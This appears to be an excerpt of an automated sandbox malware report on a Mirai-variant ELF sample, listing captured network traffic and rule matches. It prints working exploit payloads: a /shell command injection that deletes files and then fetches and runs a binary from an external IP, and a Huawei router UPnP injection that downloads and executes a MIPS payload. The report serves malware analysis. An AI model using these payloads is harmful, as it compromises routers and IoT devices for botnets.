              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficDNS traffic detected: DNS query: scamanje.stresserit.pro
              Source: unknownHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: spc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
              Source: spc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
              Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443

              System Summary

              barindex
              Source: spc.elf, type: SAMPLEMatched rule: Detects ELF Mirai variant Author: Florian Roth
              Source: spc.elf, type: SAMPLEMatched rule: Detects ELF malware Mirai related Author: Florian Roth
              Source: 6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORYMatched rule: Detects ELF Mirai variant Author: Florian Roth
              Source: 6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORYMatched rule: Detects ELF malware Mirai related Author: Florian Roth
              Source: 6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORYMatched rule: Detects ELF Mirai variant Author: Florian Roth
              Source: 6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORYMatched rule: Detects ELF malware Mirai related Author: Florian Roth
              Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: ELF static info symbol of initial sample.symtab present: no
              Source: spc.elf, type: SAMPLEMatched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
              Source: spc.elf, type: SAMPLEMatched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
              Source: 6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORYMatched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
              Source: 6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORYMatched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
              Source: 6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORYMatched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
              Source: 6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORYMatched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
              Source: classification engineClassification label: mal100.troj.linELF@0/0@30/0

              Hooking and other Techniques for Hiding and Protection

              barindex
              Source: unknownNetwork traffic detected: HTTP traffic on port 57276 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 33594 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 55264 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 58794 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 56492 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50796 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 43480 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45386 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 35412 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 44632 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 35176 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 49248 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 52614 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 55748 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 52214 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 41480 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 42006 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50496 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 37080 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 53062 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 35240 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 37732 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 39288 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 41428 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 46716 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 34430 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 58986 -> 37215
